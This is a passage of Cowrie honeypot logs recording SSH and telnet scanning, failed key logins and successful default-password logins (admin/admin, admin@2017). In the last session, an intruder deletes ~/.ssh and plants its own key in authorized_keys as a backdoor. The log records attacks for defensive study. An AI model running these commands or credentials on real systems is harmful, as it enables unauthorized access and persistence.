.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:12:26.807263Z","src_ip":"142.44.247.134","session":"4422e695a7fd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:35:36:0b:b5:01:de:40:ed:02:bd:a9:7b:7d:46:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCyB1aUH3ApF7JYIEFIThGzSsEhEpBHLrnhOkVgK0ZsRClasTKgrsds480/5qGFQT9DugP/5SvGZDH6yHaGnlWjwoKy2YaGcYvwn+YKrZNL3I/tuhkKb831AB04dMSNvQQcRoV5T+6iGMfb2roUhvPmbOgqkjYxVxUKn60tRxI/zp08vHKt2BKwXRxvDjNQse4JfTYsZ0kJ4r2lv6i1rUdzoz+GmgQiJM5lYEfjFVV5O0RnBhR6Ck0spSYbqiDL2bfjJmhGApfzEC3ShLIfEAkuzkGyoQjUWoMoqxTQhst/P+2SeOZGZwy8SlK9xEX0aLhlt8gToLTCUNGpC1wuhuVqOQP/jRVG/Z+5xrO4s68EVaPPQjQbPfGtsEXEj3Aau1yC+Oqtc6L5mWlrmVSY8uCPZqeMgnFCUKfyZbEb5TUUc1WzZxLgCqWnBMmo1/6dLIuH/RNuKpqvgaJH+KYp1c5Bs3NzG9JiWnvEU0D6A3ZKH5MXwF0JpHWgyXiWX4f52Lc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 81:35:36:0b:b5:01:de:40:ed:02:bd:a9:7b:7d:46:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:12:26.888913Z","src_ip":"142.44.247.134","session":"4422e695a7fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:35:36:0b:b5:01:de:40:ed:02:bd:a9:7b:7d:46:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCyB1aUH3ApF7JYIEFIThGzSsEhEpBHLrnhOkVgK0ZsRClasTKgrsds480/5qGFQT9DugP/5SvGZDH6yHaGnlWjwoKy2YaGcYvwn+YKrZNL3I/tuhkKb831AB04dMSNvQQcRoV5T+6iGMfb2roUhvPmbOgqkjYxVxUKn60tRxI/zp08vHKt2BKwXRxvDjNQse4JfTYsZ0kJ4r2lv6i1rUdzoz+GmgQiJM5lYEfjFVV5O0RnBhR6Ck0spSYbqiDL2bfjJmhGApfzEC3ShLIfEAkuzkGyoQjUWoMoqxTQhst/P+2SeOZGZwy8SlK9xEX0aLhlt8gToLTCUNGpC1wuhuVqOQP/jRVG/Z+5xrO4s68EVaPPQjQbPfGtsEXEj3Aau1yC+Oqtc6L5mWlrmVSY8uCPZqeMgnFCUKfyZbEb5TUUc1WzZxLgCqWnBMmo1/6dLIuH/RNuKpqvgaJH+KYp1c5Bs3NzG9JiWnvEU0D6A3ZKH5MXwF0JpHWgyXiWX4f52Lc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:12:26.892910Z","src_ip":"142.44.247.134","session":"4422e695a7fd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:c9:4e:65:b4:e7:22:13:bb:d0:a7:67:fb:a4:55:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA8NDwV0RHn9VjwUcPHusBG1FL4b+TwDOedW1uCZH8McMMuUjO1OPzkvAUFXDtuSnlpwf99OMnc2RC6OJ4L+nL8BPH3a6xGSf5XH3hNsyt5vVpUnXWCHpnAJoQY+3Q7FYfFB6UnyZ0HjORsSVlpyyZyldCatdPhyVojb4FDavrvx4A6J97v2qvG3ceCsZYBWnSbNWGoqOzbLLQgzJaLOGNcY7VvyDIqtYEhC0fISJvDQ7wo7ukT3HNlWLjj1tpS7/XTzeDz0ZEjZD1sgyJjCIztrDpid+7eYTa0M1Vw8z2wESx7mexxiiqQUelo1doOoAeTPpWDY/pFl34ysT1tXKi3Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:c9:4e:65:b4:e7:22:13:bb:d0:a7:67:fb:a4:55:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:12:26.915865Z","src_ip":"142.44.247.134","session":"4422e695a7fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:c9:4e:65:b4:e7:22:13:bb:d0:a7:67:fb:a4:55:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA8NDwV0RHn9VjwUcPHusBG1FL4b+TwDOedW1uCZH8McMMuUjO1OPzkvAUFXDtuSnlpwf99OMnc2RC6OJ4L+nL8BPH3a6xGSf5XH3hNsyt5vVpUnXWCHpnAJoQY+3Q7FYfFB6UnyZ0HjORsSVlpyyZyldCatdPhyVojb4FDavrvx4A6J97v2qvG3ceCsZYBWnSbNWGoqOzbLLQgzJaLOGNcY7VvyDIqtYEhC0fISJvDQ7wo7ukT3HNlWLjj1tpS7/XTzeDz0ZEjZD1sgyJjCIztrDpid+7eYTa0M1Vw8z2wESx7mexxiiqQUelo1doOoAeTPpWDY/pFl34ysT1tXKi3Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:12:26.921384Z","src_ip":"142.44.247.134","session":"4422e695a7fd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:20:34:4b:f1:e5:d3:82:d4:1e:57:ab:ba:88:c9:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkufJMOqhO1qwNoZZ1GFgZtt7cV7VmTzfTtV/ZuF0zaU/51aQMSm13LHZhhlGHgIBwrZ7e7lMNh0Ckg09lc9htnJku8Kx56RR0T1Ikko3fNV3n7jEBdq2TyL17rEWuHXlKk781/hAepIpYrxHkgSCtcjWOiyyPHe3XY5FLDE+ofq5qnV8gUHWrr2g45mKMlLQVGTzm3gKez7msL7XJ2c2CZhKKcGJubDC349IuDyVpy9awL688ImUoREfW4f/G6up0nn/JhU3XwJGLhXlVH00ptNkGA+AJTU+lVruVoRTSwZJ83Qfh+k0i8uisUd+V2hcMNIiuSdmwjCkjLHOwoehL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:20:34:4b:f1:e5:d3:82:d4:1e:57:ab:ba:88:c9:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:12:26.944121Z","src_ip":"142.44.247.134","session":"4422e695a7fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:20:34:4b:f1:e5:d3:82:d4:1e:57:ab:ba:88:c9:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkufJMOqhO1qwNoZZ1GFgZtt7cV7VmTzfTtV/ZuF0zaU/51aQMSm13LHZhhlGHgIBwrZ7e7lMNh0Ckg09lc9htnJku8Kx56RR0T1Ikko3fNV3n7jEBdq2TyL17rEWuHXlKk781/hAepIpYrxHkgSCtcjWOiyyPHe3XY5FLDE+ofq5qnV8gUHWrr2g45mKMlLQVGTzm3gKez7msL7XJ2c2CZhKKcGJubDC349IuDyVpy9awL688ImUoREfW4f/G6up0nn/JhU3XwJGLhXlVH00ptNkGA+AJTU+lVruVoRTSwZJ83Qfh+k0i8uisUd+V2hcMNIiuSdmwjCkjLHOwoehL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:12:26.947957Z","src_ip":"142.44.247.134","session":"4422e695a7fd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"07:09:33:0a:df:14:cd:4a:8c:24:ed:11:dd:d2:dc:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqxEBHtwUztFsiOrXlqsgjeNHrhyXaTWcfYbASh2DDMufrJte8+5fJ07ZB3SBTvPYDiEA7WIHuBL7UOjNhNqoFFplhhKgzftZgdVkSv/jnPbXOYMxPB3vanNjRdCtlp9d+xjII9yQ3nhtG48pYgujBYdF/nJ8RKA9GmcIyv0tOPhjeZAAuWahIQAJvsYVPPM0Uq21TlBip24kuWiE7yFeJLx+03UU99tK36Wn5cXOqV/de0XFCiJqoPsOtIdgUCmoyTyOaxHH4DmL+liP7ux90ywgdDw/y4mqhe4ajolH5IaILySDs36BAN/LxzAVTpOjys0D0tMxSRki414zCKqffQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 07:09:33:0a:df:14:cd:4a:8c:24:ed:11:dd:d2:dc:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:12:26.970140Z","src_ip":"142.44.247.134","session":"4422e695a7fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"07:09:33:0a:df:14:cd:4a:8c:24:ed:11:dd:d2:dc:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqxEBHtwUztFsiOrXlqsgjeNHrhyXaTWcfYbASh2DDMufrJte8+5fJ07ZB3SBTvPYDiEA7WIHuBL7UOjNhNqoFFplhhKgzftZgdVkSv/jnPbXOYMxPB3vanNjRdCtlp9d+xjII9yQ3nhtG48pYgujBYdF/nJ8RKA9GmcIyv0tOPhjeZAAuWahIQAJvsYVPPM0Uq21TlBip24kuWiE7yFeJLx+03UU99tK36Wn5cXOqV/de0XFCiJqoPsOtIdgUCmoyTyOaxHH4DmL+liP7ux90ywgdDw/y4mqhe4ajolH5IaILySDs36BAN/LxzAVTpOjys0D0tMxSRki414zCKqffQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:12:26.975562Z","src_ip":"142.44.247.134","session":"4422e695a7fd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"38:cd:02:ed:37:81:e2:29:47:ce:5d:6d:4c:1d:89:9a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMTwANiSQ+jg/BkLkMhwk5UTWSMUKHOtS+jZxuAY6YdR","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 38:cd:02:ed:37:81:e2:29:47:ce:5d:6d:4c:1d:89:9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:12:26.995789Z","src_ip":"142.44.247.134","session":"4422e695a7fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"38:cd:02:ed:37:81:e2:29:47:ce:5d:6d:4c:1d:89:9a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMTwANiSQ+jg/BkLkMhwk5UTWSMUKHOtS+jZxuAY6YdR","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:12:27.000996Z","src_ip":"142.44.247.134","session":"4422e695a7fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:12:27.023708Z","src_ip":"142.44.247.134","session":"4422e695a7fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.7","src_port":41256,"dst_ip":"10.17.0.5","dst_port":23,"session":"f621abe20bdd","protocol":"telnet","message":"New connection: 85.11.167.7:41256 (10.17.0.5:23) [session: f621abe20bdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:12:29.408694Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":45148,"dst_ip":"10.17.0.5","dst_port":22,"session":"2be4ad4cc5a8","protocol":"ssh","message":"New connection: 50.225.176.238:45148 (10.17.0.5:22) [session: 2be4ad4cc5a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:12:37.411991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:12:37.416843Z","src_ip":"50.225.176.238","session":"2be4ad4cc5a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:12:37.430551Z","src_ip":"50.225.176.238","session":"2be4ad4cc5a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maurice","password":"test","message":"login attempt [maurice/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:12:37.509838Z","src_ip":"50.225.176.238","session":"2be4ad4cc5a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:12:38.525756Z","src_ip":"50.225.176.238","session":"2be4ad4cc5a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.707115650177,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:12:38.766236Z","src_ip":"212.55.149.117","session":"38c51ca4483e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.156.79.206","src_port":40310,"dst_ip":"10.17.0.5","dst_port":23,"session":"adf84565086d","protocol":"telnet","message":"New connection: 95.156.79.206:40310 (10.17.0.5:23) [session: adf84565086d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:12:45.744849Z"}
{"eventid":"cowrie.session.closed","duration":13.076489925384521,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:12:58.821184Z","src_ip":"95.156.79.206","session":"adf84565086d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":60590,"dst_ip":"10.17.0.5","dst_port":22,"session":"b64065261dd1","protocol":"ssh","message":"New connection: 87.251.64.176:60590 (10.17.0.5:22) [session: b64065261dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:12:59.933956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:12:59.964286Z","src_ip":"87.251.64.176","session":"b64065261dd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:00.061617Z","src_ip":"87.251.64.176","session":"b64065261dd1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:00.357139Z","src_ip":"87.251.64.176","session":"b64065261dd1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:00.458420Z","session":"b64065261dd1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:00.557676Z","src_ip":"87.251.64.176","session":"b64065261dd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:00.657573Z","src_ip":"87.251.64.176","session":"b64065261dd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.98100709915161,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:29.389572Z","src_ip":"85.11.167.7","session":"f621abe20bdd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":51370,"dst_ip":"10.17.0.5","dst_port":22,"session":"8292e967d714","protocol":"ssh","message":"New connection: 50.225.176.238:51370 (10.17.0.5:22) [session: 8292e967d714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:32.165777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:32.170961Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:32.186042Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@2017","message":"login attempt [admin/admin@2017] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:32.264285Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:32.338812Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:32.342386Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:32.346918Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:32.362013Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:32.453197Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:13:32.456486Z","src_ip":"50.225.176.238","session":"8292e967d714","protocol":"ssh"}
